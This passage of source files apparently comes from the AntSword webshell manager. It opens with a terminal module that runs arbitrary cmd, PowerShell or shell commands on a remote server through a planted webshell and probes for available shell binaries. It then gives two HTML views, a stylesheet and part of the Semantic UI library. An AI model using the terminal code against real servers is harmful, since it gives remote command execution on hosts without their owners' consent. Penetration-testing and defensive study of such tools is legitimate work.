antSword['core'][opts['type']](opts); this.cache = new antSword['CacheManager'](this.opts['_id']); this.asenvironmet = {}; this.stag = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); this.etag = Math.random().toString(16).substr(2, parseInt(Math.random() * 8 + 5)); this .getInformation() .then((ret) => { this.initTerminal(ret['info'], ret['dom']); if (this.options.hasOwnProperty("path")) { if (this.isWin && this.path.substr(0, 1).toUpperCase() != this.options.path.substr(0, 1).toUpperCase()) { this .term .exec(`${this.options.path.substr(0, 1).toUpperCase()}:`); } this .term .exec(`cd ${this.options.path}`); } if (this.options.hasOwnProperty("exec")) { this.core.command.exec = this.options.exec; } if (this.options.hasOwnProperty("tsize")) { this.term[0].style.setProperty("--size", parseFloat(this.options.size)); } }) .catch((err) => { toastr.error((typeof (err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']); this .cell .progressOff(); this .cell .close(); }) } /** * * @return {Promise} Promise//{dom,info} */ getInformation() { return new Promise((ret, rej) => { // DOM const dom = $(`#div_terminal_${this.hash}`); // let infoCache = this .cache .get('info'); // &&&& if (infoCache) { return ret({ dom: dom, info: infoCache }); } // this .cell .progressOn(); this .core .request(this.core.base.info()) .then((_ret) => { this .cell .progressOff(); this .cache .set('info', _ret['text']); return ret({ dom: dom, info: _ret['text'] }); }) .catch((e) => { rej(e); }); }); } /** * * @param {String} ret * @param {Object} dom dom * @return {None} [description] */ initTerminal(ret, dom) { let self = this; let info = ret.split('\t'); let infoUser, infoPath, infoDrive, infoSystem; let banner = `[[b;cyan;](*) ${LANG['banner']['title']}]`; // if (info.length === 4) { infoPath = info[0]; infoDrive = info[1]; infoSystem = info[2]; infoUser = info[3]; } else if (info.length === 2) { infoPath = info[0]; infoDrive = info[1]; } else { toastr.error('Loading infomations failed!<br/>' + ret, LANG_T['error']); this .cache .del('info'); return this .cell .close(); } // infoPath = infoPath .replace(/\\/g, '/') .replace(/\.$/, ''); // !win this.isWin = !(infoPath.substr(0, 1) === '/') this.path = infoPath; // banner banner += `\n[[b;#99A50D;]${LANG['banner']['path']}]: [[;#C3C3C3;]${antSword.noxss(infoPath)}]`; banner += `\n[[b;#99A50D;]${LANG['banner']['drive']}]: [[;#C3C3C3;]${antSword.noxss(infoDrive)}]`; if (info.length === 4) { banner += `\n[[b;#99A50D;]${LANG['banner']['system']}]: [[;#C3C3C3;]${antSword.noxss(infoSystem)}]`; banner += `\n[[b;#99A50D;]${LANG['banner']['user']}]: [[;#C3C3C3;]${antSword.noxss(infoUser)}]`; } // this.term = dom.terminal((cmd, term) => { if (!cmd) { return false } // exit||quit if (cmd === 'exit' || cmd === 'quit') { return this .cell .close() } // clear if (cmd === 'cls' || cmd === 'clear') { return term.clear() } if (cmd === 'ashelp') { term.echo(LANG['ascmd']['ashelp']); return; } if (cmd === 'aslistcmd') { var binarr = ""; if (this.isWin) { binarr = [ "C:/Windows/System32/cmd.exe", "C:/Windows/SysWOW64/cmd.exe", "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", "C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe", "C:/Windows/System32/WindowsPowerShell/v2.0/powershell.exe", "C:/Windows/SysWOW64/WindowsPowerShell/v2.0/powershell.exe", "C:/Windows/System32/WindowsPowerShell/v3.0/powershell.exe", "C:/Windows/SysWOW64/WindowsPowerShell/v3.0/powershell.exe", "C:/Windows/System32/WindowsPowerShell/v4.0/powershell.exe", "C:/Windows/SysWOW64/WindowsPowerShell/v4.0/powershell.exe" ].join(','); } else { binarr = ["/bin/sh", "/bin/ash", "/bin/bash", "/bin/zsh", "/bin/busybox"].join(','); } this .core .request(this.core.command.listcmd({ binarr: binarr })) .then((ret) => { let res = ret['text']; if (res.indexOf("ERROR://") > -1) { throw res; } let result = ""; res .split('\n') .map((v) => { var line = v.split('\t'); if (line.length == 2) { var r = parseInt(line[1]) === 1 ? '[[b;#15af63;]OK]' : '[[b;#E80000;]FAIL]'; result += `${line[0]}\t\t\t${r}\n`; } }); term.echo(result); term.resume(); }) .catch((err) => { term.resume(); }); return; } if (cmd.substr(0, 5) === 'ascmd') { var sessbin = cmd .substr(5) .trim(); if (sessbin.length > 0) { self.sessbin = sessbin; term.echo(LANG['ascmd']['ascmd'](antSword.noxss(self.sessbin))); } else { term.echo(LANG['ascmd']['ashelp']); } return; } if (cmd.substr(0, 12) === 'aspowershell') { var _switch = cmd .substr(12) .trim() .toLowerCase(); if (_switch === "on") { self.sess_powershell = true; term.echo(LANG['ascmd']['aspowershell']["on"]); } else { self.sess_powershell = false; term.echo(LANG['ascmd']['aspowershell']["off"]); } return; } // web smb , windows //xxx.xxx.xxx.xxx/share // / Linux , windows mode // Fix path_to_url if (cmd.substr(0, 9) === 'aswinmode') { var _switch = cmd.substr(9).trim().toLowerCase(); if (_switch === "off") { self.isWin = false; term.echo("Windows Mode: [[b;red;]Off]"); } else if (_switch === "on") { self.isWin = true; term.echo("Windows Mode: [[b;green;]On]"); } else { term.echo(`Current Windows Mode: ${self.isWin ? "[[b;green;]On]" : "[[b;red;]Off]"}`); } return; } if (cmd.substr(0, 5) === 'asenv') { var envstr = cmd.substr(5).trim(); if (envstr.length > 0 && envstr.indexOf('=') > 0) { var k = envstr.substr(0, envstr.indexOf('=')).trim(); var v = envstr.substr(envstr.indexOf('=') + 1).trim(); this.asenvironmet[k] = v; } else { Object.keys(this.asenvironmet).map((k) => { term.echo(`${antSword.noxss(k)}=${antSword.noxss(this.asenvironmet[k])}`); }); } return; } term.pause(); // let cacheTag = 'command-' + Buffer .from(this.path + cmd) .toString('base64'); let cacheCmd = this .cache .get(cacheTag); if ((this.opts.otherConf || {})['terminal-cache'] === 1 && cacheCmd) { term.echo(antSword.noxss(cacheCmd, false)); return term.resume(); }; // let _bin = this.isWin ? 'cmd' : '/bin/sh'; let _confBin = (this.opts['otherConf'] || {})['command-path']; _bin = _confBin || _bin; if (self.sessbin !== null) { _bin = self.sessbin; } if (self.isWin && _bin.indexOf("powershell") > -1) { self.isPowershell = true } else { self.isPowershell = false } if (self.sess_powershell !== null) { self.isPowershell = self.sess_powershell; } // this .core .request(this.core.command.exec({ cmd: this.parseCmd(cmd, this.path), bin: _bin, env: Object.keys(this.asenvironmet).map((k) => { return `${k}|||askey|||${this.asenvironmet[k]}|||asline|||`; }).join(''), })) .then((ret) => { let _ = antSword.unxss(ret['text'], false); // const indexS = _.lastIndexOf(this.stag); const indexE = _.lastIndexOf(this.etag); let _path = _.substring(indexS+this.stag.length, indexE); let output = _.replace(`${this.stag}${_path}${this.etag}`, ''); console.log(output) _path = _path .replace(/\n/g, '') .replace(/\r/g, ''); this.path = _path || this.path; term.set_prompt(this.parsePrompt(infoUser)); // [ /\n\n$/, /^\n\n/, /\r\r$/, /^\r\r/, /\r\n$/, /^\r\n/, /\n\r$/, /^\n\r/, /\r$/, /^\r/, /\n$/, /^\n/ ].map((_) => { output = output.replace(_, ''); }); if (output.length > 0) { term.echo(antSword.noxss(output, false)); // 100kb if (output.length < (1024 * 1024)) { this .cache .set(cacheTag, output); }; }; term.resume(); }) .catch((_) => { // term.error('ERR: ' + (_ instanceof Object) ? JSON.stringify(_) : String(_)); term.resume(); }); }, { greetings: banner, name: `terminal_${this.hash}`, prompt: this.parsePrompt(infoUser), numChars: 2048, exit: false, // < 1.0.0 3 completion: (term, value, callback) => {} completion: (value, callback) => { callback(['asenv', 'ashelp', 'ascmd', 'aslistcmd', 'aspowershell', 'aswinmode', 'quit', 'exit'].concat( this.isWin ? [ 'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls', 'wscript', 'nslookup', 'copy', 'del', 'ren', 'md', 'type', 'ping', 'quser', 'arp', 'netsh', 'findstr', 'tasklist', 'taskkill' ] : [ 'cd', 'ls', 'find', 'cp', 'mv', 'rm', 'ps', 'kill', 'file', 'tar', 'cat', 'chown', 'chmod', 'pwd', 'history', 'whoami', 'ifconfig', 'clear', 'ping', 'curl', 'wget', 'ip', 'grep', 'nohup', 'md5sum', 'lsattr', 'touch', 'netstat' ])) }, keydown: (event, terminal) => { if (event.ctrlKey == true) { // ctrl switch (event.keyCode) { case 187: // ctrl + var s = parseFloat(terminal[0].style.getPropertyValue("--size")); if (isNaN(s)) { s = 1; } if (s < 5) { s += 0.05; } terminal[0] .style .setProperty("--size", s); return false; case 189: // ctrl - var s = parseFloat(terminal[0].style.getPropertyValue("--size")); if (isNaN(s)) { s = 1; } if (s > 0.5) { s -= 0.05; } terminal[0] .style .setProperty("--size", s); return false; default: break; } } } }); this .term .echo(`[[b;cyan;](*) ${LANG['ascmd']['help']}]`); } /** * &&command * @param {String} cmd * @param {String} path * @return {String} */ parseCmd(cmd, path) { path = path .replace(/\\\\/g, '\\') .replace(/"/g, '\\"') .replace(/\\/g, '\\\\'); return (this.isWin ? this.isPowershell ? `cd "${path}";${cmd};echo ${this.stag};(pwd).path;echo ${this.etag}` : `cd /d "${path}"&${cmd}&echo ${this.stag}&cd&echo ${this.etag}` : `cd "${path}";${cmd};echo ${this.stag};pwd;echo ${this.etag}`); } /** * * @param {String} user * @return {String} term */ parsePrompt(user) { return antSword.noxss(this.isWin ? `[[b;white;]${this.path.replace(/\//g, '\\')}> ]` : (user ? `([[b;#E80000;]${user}]:[[;#0F93D2;]` : '[[;0F93D2;]') + this.path + ']) $ '); } } // export default Terminal; module.exports = Terminal; ```
/content/code_sandbox/source/modules/terminal/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
3,969
```html <!DOCTYPE HTML> <html> <head> <meta charset="utf-8" /> <title>AntSword</title> <meta http-equiv="Content-Security-Policy" content="default-src 'none';img-src data: ant-static: http: https:;script-src ant-static: ant-src: 'unsafe-eval' 'unsafe-inline';style-src ant-static: 'unsafe-inline';font-src ant-static:;worker-src blob:;child-src blob:;frame-src data: path_to_url path_to_url"> <link rel="stylesheet" href="ant-static://css/index.css" /> <script src="ant-src://load.entry.js"></script> </head> <body> <div id="loading" class="loading_default"></div> </body> </html> ```
/content/code_sandbox/views/front/index.html
html
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
170
```html <!DOCTYPE HTML> <html> <head> <meta charset="utf-8" /> <title>AntSword.Store</title> <!-- <script src="path_to_url"></script> --> <script src="path_to_url"></script> <style> html, body, #container, #loader { margin: 0; padding: 0; width: 100%; height: 100%; } #loader { display: flex; justify-content: center; align-items: center; } ::-webkit-scrollbar-track-piece { background-color: #f5f5f5; border-left: 1px solid #d2d2d2; } ::-webkit-scrollbar { width: 13px; height: 13px; } ::-webkit-scrollbar-thumb { background-color: #c2c2c2; background-clip: padding-box; border: 1px solid #979797; min-height: 28px; } ::-webkit-scrollbar-thumb:hover { border: 1px solid #636363; background-color: #929292; } .cssload-loader { position: relative; width: 62px; height: 62px; border-radius: 50%; perspective: 780px } .cssload-inner { position: absolute; width: 100%; height: 100%; box-sizing: border-box; border-radius: 50% } .cssload-inner.cssload-one { left: 0; top: 0; animation: cssload-rotate-one 1.15s linear infinite; border-bottom: 3px solid #000 } .cssload-inner.cssload-two { right: 0; top: 0; animation: cssload-rotate-two 1.15s linear infinite; border-right: 3px solid #000 } .cssload-inner.cssload-three { right: 0; bottom: 0; animation: cssload-rotate-three 1.15s linear infinite; border-top: 3px solid #000 } @keyframes cssload-rotate-one { 0% { transform: rotateX(35deg) rotateY(-45deg) rotateZ(0deg) } 100% { transform: rotateX(35deg) rotateY(-45deg) rotateZ(360deg) } } @keyframes cssload-rotate-two { 0% { transform: rotateX(50deg) rotateY(10deg) rotateZ(0deg) } 100% { transform: rotateX(50deg) rotateY(10deg) rotateZ(360deg) } } @keyframes cssload-rotate-three { 0% { transform: rotateX(35deg) rotateY(55deg) rotateZ(0deg) } 100% { transform: rotateX(35deg) rotateY(55deg) rotateZ(360deg) } } </style> </head> <body> <div id="container"> <div id="loader"> <div class="cssload-loader"> <div class="cssload-inner cssload-one"></div> <div class="cssload-inner cssload-two"></div> <div class="cssload-inner cssload-three"></div> </div> </div> </div> </body> </html> ```
/content/code_sandbox/views/front/plugin.html
html
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
784
```css html, body, #container, #loading { width: 100%; height: 100%; margin: 0; padding: 0; } #loading { top: 0; z-index: 999; position: fixed; background-color: #FFF; text-align: center; background-repeat: no-repeat; background-position: 50% 50%; } .loading_default { background-image: url(ant-static://imgs/load.png); } .loading_christmas { background-image: url(ant-static://imgs/load-christmas.png); } /*sidebar.bubble*/ .dhxsidebar_bubble { width: auto !important; padding: 0 5px; background-color: #666 !important; } /*update*/ .ant-update { font-family: sans-serif; font-size: 14px; } .ant-update > .layui-layer-content { padding: 10px 10px; min-width: 300px; } .ant-update > .layui-layer-content > h3 { margin: 0; } .ant-update > .layui-layer-content > ol { color: #666; } .update-icon { font-size: 100px; text-align: center; } .dhxwins_vp_dhx_skyblue div.dhxwin_hdr div.update-winicon { background-image: url("ant-static://imgs/cloud-download.svg"); } /*update-loading*/ @-webkit-keyframes rotate_pacman_half_up { 0% { -webkit-transform: rotate(270deg); transform: rotate(270deg); } 50% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } 100% { -webkit-transform: rotate(270deg); transform: rotate(270deg); } } @keyframes rotate_pacman_half_up { 0% { -webkit-transform: rotate(270deg); transform: rotate(270deg); } 50% { -webkit-transform: rotate(360deg); transform: rotate(360deg); } 100% { -webkit-transform: rotate(270deg); transform: rotate(270deg); } } @-webkit-keyframes rotate_pacman_half_down { 0% { -webkit-transform: rotate(90deg); transform: rotate(90deg); } 50% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(90deg); transform: rotate(90deg); } } @keyframes rotate_pacman_half_down { 0% { -webkit-transform: rotate(90deg); transform: rotate(90deg); } 50% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(90deg); transform: rotate(90deg); } } @-webkit-keyframes pacman-balls { 75% { opacity: 0.7; } 100% { -webkit-transform: translate(-100px, -6.25px); transform: translate(-100px, -6.25px); } } @keyframes pacman-balls { 75% { opacity: 0.7; } 100% { -webkit-transform: translate(-100px, -6.25px); transform: translate(-100px, -6.25px); } } .pacman { position: relative; margin-left: 30%; } .pacman > div:nth-child(2) { -webkit-animation: pacman-balls 1s 0s infinite linear; animation: pacman-balls 1s 0s infinite linear; } .pacman > div:nth-child(3) { -webkit-animation: pacman-balls 1s 0.33s infinite linear; animation: pacman-balls 1s 0.33s infinite linear; } .pacman > div:nth-child(4) { -webkit-animation: pacman-balls 1s 0.66s infinite linear; animation: pacman-balls 1s 0.66s infinite linear; } .pacman > div:nth-child(5) { -webkit-animation: pacman-balls 1s 0.99s infinite linear; animation: pacman-balls 1s 0.99s infinite linear; } .pacman > div:first-of-type { width: 0px; height: 0px; border-right: 25px solid transparent; border-top: 25px solid #666; border-left: 25px solid #666; border-bottom: 25px solid #666; border-radius: 25px; -webkit-animation: rotate_pacman_half_up 0.5s 0s infinite; animation: rotate_pacman_half_up 0.5s 0s infinite; } .pacman > div:nth-child(2) { width: 0px; height: 0px; border-right: 25px solid transparent; border-top: 25px solid #666; border-left: 25px solid #666; border-bottom: 25px solid #666; border-radius: 25px; -webkit-animation: rotate_pacman_half_down 0.5s 0s infinite; animation: rotate_pacman_half_down 0.5s 0s infinite; margin-top: -50px; } .pacman > div:nth-child(3), .pacman > div:nth-child(4), .pacman > div:nth-child(5), .pacman > div:nth-child(6) { background-color: #666; width: 15px; height: 15px; border-radius: 100%; margin: 2px; width: 10px; height: 10px; position: absolute; -webkit-transform: translate(0, -6.25px); -ms-transform: translate(0, -6.25px); transform: translate(0, -6.25px); top: 25px; left: 100px; } /**/ .about { font-family: sans-serif; -webkit-user-select: none; } .about > img { width: 30%; } .about > img:hover { -webkit-animation: tada 1s .2s ease both; -moz-animation: tada 1s .2s ease both; } @-moz-keyframes tada{0%{-moz-transform:scale(1);}10%,20%{-moz-transform:scale(0.9) rotate(-3deg);}30%,50%,70%,90%{-moz-transform:scale(1.1) rotate(3deg);}40%,60%,80%{-moz-transform:scale(1.1) rotate(-3deg);}100%{-moz-transform:scale(1) rotate(0);}} @-webkit-keyframes tada{0%{-webkit-transform:scale(1);}10%,20%{-webkit-transform:scale(0.9) rotate(-3deg);}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);}100%{-webkit-transform:scale(1) rotate(0);}} .about > hr { width: 66%; border-color: #ececec; border-top: none; } .about > p { color: #ececec; } .about > h2 > span { font-size: 14px; color: #9E9E9E; } .about a { text-decoration: blink; color: #795548; transition: all .5s linear; font-size: 14px; } .about a:hover { color: #009688; } webview { display:inline-flex; width:100%; height:100%; } webview.hide { flex: 0 1; width: 0px; height: 0px; } /* ::-webkit-scrollbar-track-piece { background-color:#f5f5f5; border-left:1px solid #d2d2d2; } ::-webkit-scrollbar { width:13px; height:13px; } ::-webkit-scrollbar-thumb { background-color:#c2c2c2; background-clip:padding-box; border:1px solid #979797; min-height:28px; } ::-webkit-scrollbar-thumb:hover { border:1px solid #636363; background-color:#929292; } */ ```
/content/code_sandbox/static/css/index.css
css
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
1,863
```javascript /* * # Semantic UI - 2.2.7 * path_to_url * path_to_url * * Released under the MIT license * path_to_url * */ /*! * # Semantic UI 2.2.7 - Site * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { $.site = $.fn.site = function(parameters) { var time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.site.settings, parameters) : $.extend({}, $.site.settings), namespace = settings.namespace, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $document = $(document), $module = $document, element = this, instance = $module.data(moduleNamespace), module, returnedValue ; module = { initialize: function() { module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of site', module); instance = module; $module .data(moduleNamespace, module) ; }, normalize: function() { module.fix.console(); module.fix.requestAnimationFrame(); }, fix: { console: function() { module.debug('Normalizing window.console'); if (console === undefined || console.log === undefined) { module.verbose('Console not available, normalizing events'); module.disable.console(); } if (typeof console.group == 'undefined' || typeof console.groupEnd == 'undefined' || typeof console.groupCollapsed == 'undefined') { module.verbose('Console group not available, normalizing events'); window.console.group = function() {}; window.console.groupEnd = function() {}; window.console.groupCollapsed = function() {}; } if (typeof console.markTimeline == 'undefined') { module.verbose('Mark timeline not available, normalizing events'); window.console.markTimeline = function() {}; } }, consoleClear: function() { module.debug('Disabling programmatic console clearing'); window.console.clear = function() {}; }, requestAnimationFrame: function() { module.debug('Normalizing requestAnimationFrame'); if(window.requestAnimationFrame === undefined) { module.debug('RequestAnimationFrame not available, normalizing event'); window.requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); } ; } } }, moduleExists: function(name) { return ($.fn[name] !== undefined && $.fn[name].settings !== undefined); }, enabled: { modules: function(modules) { var enabledModules = [] ; modules = modules || settings.modules; $.each(modules, function(index, name) { if(module.moduleExists(name)) { enabledModules.push(name); } }); return enabledModules; } }, disabled: { modules: function(modules) { var disabledModules = [] ; modules = modules || settings.modules; $.each(modules, function(index, name) { if(!module.moduleExists(name)) { disabledModules.push(name); } }); return disabledModules; } }, change: { setting: function(setting, value, modules, modifyExisting) { modules = (typeof modules === 'string') ? (modules === 'all') ? settings.modules : [modules] : modules || settings.modules ; modifyExisting = (modifyExisting !== undefined) ? modifyExisting : true ; $.each(modules, function(index, name) { var namespace = (module.moduleExists(name)) ? $.fn[name].settings.namespace || false : true, $existingModules ; if(module.moduleExists(name)) { module.verbose('Changing default setting', setting, value, name); $.fn[name].settings[setting] = value; if(modifyExisting && namespace) { $existingModules = $(':data(module-' + namespace + ')'); if($existingModules.length > 0) { module.verbose('Modifying existing settings', $existingModules); $existingModules[name]('setting', setting, value); } } } }); }, settings: function(newSettings, modules, modifyExisting) { modules = (typeof modules === 'string') ? [modules] : modules || settings.modules ; modifyExisting = (modifyExisting !== undefined) ? modifyExisting : true ; $.each(modules, function(index, name) { var $existingModules ; if(module.moduleExists(name)) { module.verbose('Changing default setting', newSettings, name); $.extend(true, $.fn[name].settings, newSettings); if(modifyExisting && namespace) { $existingModules = $(':data(module-' + namespace + ')'); if($existingModules.length > 0) { module.verbose('Modifying existing settings', $existingModules); $existingModules[name]('setting', newSettings); } } } }); } }, enable: { console: function() { module.console(true); }, debug: function(modules, modifyExisting) { modules = modules || settings.modules; module.debug('Enabling debug for modules', modules); module.change.setting('debug', true, modules, modifyExisting); }, verbose: function(modules, modifyExisting) { modules = modules || settings.modules; module.debug('Enabling verbose debug for modules', modules); module.change.setting('verbose', true, modules, modifyExisting); } }, disable: { console: function() { module.console(false); }, debug: function(modules, modifyExisting) { modules = modules || settings.modules; module.debug('Disabling debug for modules', modules); module.change.setting('debug', false, modules, modifyExisting); }, verbose: function(modules, modifyExisting) { modules = modules || settings.modules; module.debug('Disabling verbose debug for modules', modules); module.change.setting('verbose', false, modules, modifyExisting); } }, console: function(enable) { if(enable) { if(instance.cache.console === undefined) { module.error(error.console); return; } module.debug('Restoring console function'); window.console = instance.cache.console; } else { module.debug('Disabling console function'); instance.cache.console = window.console; window.console = { clear : function(){}, error : function(){}, group : function(){}, groupCollapsed : function(){}, groupEnd : function(){}, info : function(){}, log : function(){}, markTimeline : function(){}, warn : function(){} }; } }, destroy: function() { module.verbose('Destroying previous site for', $module); $module .removeData(moduleNamespace) ; }, cache: {}, setting: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Element' : element, 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { module.destroy(); } module.initialize(); } return (returnedValue !== undefined) ? returnedValue : this ; }; $.site.settings = { name : 'Site', namespace : 'site', error : { console : 'Console cannot be restored, most likely it was overwritten outside of module', method : 'The method you called is not defined.' }, debug : false, verbose : false, performance : true, modules: [ 'accordion', 'api', 'checkbox', 'dimmer', 'dropdown', 'embed', 'form', 'modal', 'nag', 'popup', 'rating', 'shape', 'sidebar', 'state', 'sticky', 'tab', 'transition', 'visit', 'visibility' ], siteNamespace : 'site', namespaceStub : { cache : {}, config : {}, sections : {}, section : {}, utilities : {} } }; // allows for selection of elements with data attributes $.extend($.expr[ ":" ], { data: ($.expr.createPseudo) ? $.expr.createPseudo(function(dataName) { return function(elem) { return !!$.data(elem, dataName); }; }) : function(elem, i, match) { // support: jQuery < 1.8 return !!$.data(elem, match[ 3 ]); } }); })( jQuery, window, document ); /*! * # Semantic UI 2.2.7 - Form Validation * path_to_url * * * Released under the MIT license * path_to_url * */ ;(function ($, window, document, undefined) { "use strict"; window = (typeof window != 'undefined' && window.Math == Math) ? window : (typeof self != 'undefined' && self.Math == Math) ? self : Function('return this')() ; $.fn.form = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], legacyParameters = arguments[1], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var $module = $(this), element = this, formErrors = [], keyHeldDown = false, // set at run-time $field, $group, $message, $prompt, $submit, $clear, $reset, settings, validation, metadata, selector, className, error, namespace, moduleNamespace, eventNamespace, instance, module ; module = { initialize: function() { // settings grabbed at run time module.get.settings(); if(methodInvoked) { if(instance === undefined) { module.instantiate(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.verbose('Initializing form validation', $module, settings); module.bindEvents(); module.set.defaults(); module.instantiate(); } }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous module', instance); module.removeEvents(); $module .removeData(moduleNamespace) ; }, refresh: function() { module.verbose('Refreshing selector cache'); $field = $module.find(selector.field); $group = $module.find(selector.group); $message = $module.find(selector.message); $prompt = $module.find(selector.prompt); $submit = $module.find(selector.submit); $clear = $module.find(selector.clear); $reset = $module.find(selector.reset); }, submit: function() { module.verbose('Submitting form', $module); $module .submit() ; }, attachEvents: function(selector, action) { action = action || 'submit'; $(selector) .on('click' + eventNamespace, function(event) { module[action](); event.preventDefault(); }) ; }, bindEvents: function() { module.verbose('Attaching form events'); $module .on('submit' + eventNamespace, module.validate.form) .on('blur' + eventNamespace, selector.field, module.event.field.blur) .on('click' + eventNamespace, selector.submit, module.submit) .on('click' + eventNamespace, selector.reset, module.reset) .on('click' + eventNamespace, selector.clear, module.clear) ; if(settings.keyboardShortcuts) { $module .on('keydown' + eventNamespace, selector.field, module.event.field.keydown) ; } $field .each(function() { var $input = $(this), type = $input.prop('type'), inputEvent = module.get.changeEvent(type, $input) ; $(this) .on(inputEvent + eventNamespace, module.event.field.change) ; }) ; }, clear: function() { $field .each(function () { var $field = $(this), $element = $field.parent(), $fieldGroup = $field.closest($group), $prompt = $fieldGroup.find(selector.prompt), defaultValue = $field.data(metadata.defaultValue) || '', isCheckbox = $element.is(selector.uiCheckbox), isDropdown = $element.is(selector.uiDropdown), isErrored = $fieldGroup.hasClass(className.error) ; if(isErrored) { module.verbose('Resetting error on field', $fieldGroup); $fieldGroup.removeClass(className.error); $prompt.remove(); } if(isDropdown) { module.verbose('Resetting dropdown value', $element, defaultValue); $element.dropdown('clear'); } else if(isCheckbox) { $field.prop('checked', false); } else { module.verbose('Resetting field value', $field, defaultValue); $field.val(''); } }) ; }, reset: function() { $field .each(function () { var $field = $(this), $element = $field.parent(), $fieldGroup = $field.closest($group), $prompt = $fieldGroup.find(selector.prompt), defaultValue = $field.data(metadata.defaultValue), isCheckbox = $element.is(selector.uiCheckbox), isDropdown = $element.is(selector.uiDropdown), isErrored = $fieldGroup.hasClass(className.error) ; if(defaultValue === undefined) { return; } if(isErrored) { module.verbose('Resetting error on field', $fieldGroup); $fieldGroup.removeClass(className.error); $prompt.remove(); } if(isDropdown) { module.verbose('Resetting dropdown value', $element, defaultValue); $element.dropdown('restore defaults'); } else if(isCheckbox) { module.verbose('Resetting checkbox value', $element, defaultValue); $field.prop('checked', defaultValue); } else { module.verbose('Resetting field value', $field, defaultValue); $field.val(defaultValue); } }) ; }, is: { bracketedRule: function(rule) { return (rule.type && rule.type.match(settings.regExp.bracket)); }, empty: function($field) { if(!$field || $field.length === 0) { return true; } else if($field.is('input[type="checkbox"]')) { return !$field.is(':checked'); } else { return module.is.blank($field); } }, blank: function($field) { return $.trim($field.val()) === ''; }, valid: function() { var allValid = true ; module.verbose('Checking if form is valid'); $.each(validation, function(fieldName, field) { if( !( module.validate.field(field, fieldName) ) ) { allValid = false; } }); return allValid; } }, removeEvents: function() { $module .off(eventNamespace) ; $field .off(eventNamespace) ; $submit .off(eventNamespace) ; $field .off(eventNamespace) ; }, event: { field: { keydown: function(event) { var $field = $(this), key = event.which, isInput = $field.is(selector.input), isCheckbox = $field.is(selector.checkbox), isInDropdown = ($field.closest(selector.uiDropdown).length > 0), keyCode = { enter : 13, escape : 27 } ; if( key == 